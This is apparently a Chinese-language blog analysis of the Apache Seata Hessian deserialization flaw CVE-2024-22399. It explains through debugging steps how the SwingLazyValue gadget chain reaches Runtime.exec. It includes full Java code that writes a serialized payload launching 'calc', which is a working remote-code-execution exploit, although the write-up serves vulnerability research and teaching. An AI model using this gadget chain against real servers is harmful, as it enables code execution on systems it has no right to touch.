前言
通过Apache Seata Hessian反序列化漏洞(CVE-2024-22399)来分析一下该漏洞中所用到的SwingLazyValue利用链的构造过程
分析过程
序列化代码
,将序列化后的数据保存到mimeTypeParameterList.ser中
import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class SerializeExample {
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(67);
output.writeObject(evil);
output.flushBuffer();
Files.write(Paths.get("mimeTypeParameterList.ser"), baos.toByteArray());
}
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ser(mimeTypeParameterList);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
SwingLazyValue利用链
的关键点是要进入到Hessian2Input#expect()方法里面
通过exp可以看到序列化了一个MimeTypeParameterList对象,同时通过baos.write(67)
向字节流中添加了一个字节的数据,然后将得到的字节数据保存到文件中
下面通过调试来分析SwingLazyValue利用链
的构造过程
byte[] serializedBytes = Files.readAllBytes(Paths.get("mimeTypeParameterList.ser"));
ByteArrayInputStream bais = new ByteArrayInputStream(serializedBytes);
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
程序首先进入到Hessian2Input#readObject()中,_buffer[]是序列化后的字节数据,刚开始时offset为0,程序会读取一个字节,读取到的就是我们手动添加的那个字节67,读取完之后offset加1变成了1
调用到readObjectDefinition()
跟进到readString,通过this.read()读取buffer字节数组中的第二个字节,读取完之后offset++,程序会进入到expect()中
在expect()方法中会再次调用到this.readObject(),而此时offset的值为1,也就是说程序会从正常的字节流部分开启读取数据,最终得到的obj就是一个MimeTypeParameterList对象
程序执行到" (" + obj + ")"
的时候,由于obj是一个对象,所以会先触发StringBuilder#append(),接着会调用到MimeTypeParameterList#toString()
this.parameters属性的值就是UIDefaults对象,UIDefaults继承了Hashtable类,Hashtable 是 Java 中的一个集合类,属于 java.util
包。它实现了 Map 接口,用于存储键值对
通过key得到的值是一个SwingLazyValue
对象,接着进入到getFromHashtable()
会调用到SwingLazyValue#createValue()
首先动态加载了this.className
类,然后通过反射获取到了类中的this.methodName
方法,最后通过var6.invoke()来调用该方法,this.args
是该方法的参数
这里不能直接利用java.lang.Runtime调用exec方法来执行系统命令,因为var6.invoke(var2, this.args)
是使用Java的反射机制通过 Method 对象调用一个方法,当所调用的方法是实例方法时,var2的值必须是一个对象实例,但是这里的var2只是类的class对象
由于exec()是一个实例方法,但是var2并不是一个实例对象,这里就无法直接调用,所以就需要用到MethodUtil#invoke()
,invoke()是静态方法,所以var2的值可以为null或者是类的class对象
通过构造的SwingLazyValue对象可以调用到MethodUtil#invoke()
,参数是new object[]
new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{})
按道理来说,在这里就可以通过new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}})
去执行命令,但是从exp中可以看到这里是再次调用了MethodUtil#invoke()之后,最后才调用了exec()
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
使用直接调用exec()的payload尝试能够触发计算器,执行之后发现程序并没有弹出计算器
在SwingLazyValue#createValue()中下断点进行调试,发现当程序执行到Method var6 = var2.getMethod(this.methodName, var3);
会报错,报出的错误为没有找到对应的方法
这两个payload之间就只有var3参数不相同,所以说明是var3参数的变化导致了报错
跟进到var2.getMethod()中,下面第一张图是正常的payload,能正常获取到method,第二张则是获取不到method
跟进到getMethod0(),parameterTypes变量中保存了invoke()方法的参数
继续跟进到privateGetMethodRecursive(),privateGetDeclaredMethods(true)
会返回MethodUtil类下所有参数类型符合的方法
接着调用searchMethods(),在该方法下会遍历methods,在if语句中有一个参数类型的判断,invoke(Method var0, Object var1, Object[] var2)
,invoke()方法的第一个参数为Method类型,其他两个参数都为Object类型
而我们构造的payload的参数类型按道理来说也是符合的,但是问题就出现在arrayContentsEq()中
arrayContentsEq()是java.lang.Class
类下的一个方法,跟进到该方法下,可以看到是通过==来判断参数类型是否符合的,而不是通过xx instanceof Object
这种形式,所以这里就会认为参数类型不符合从而返回false,导致无法调用到invoke()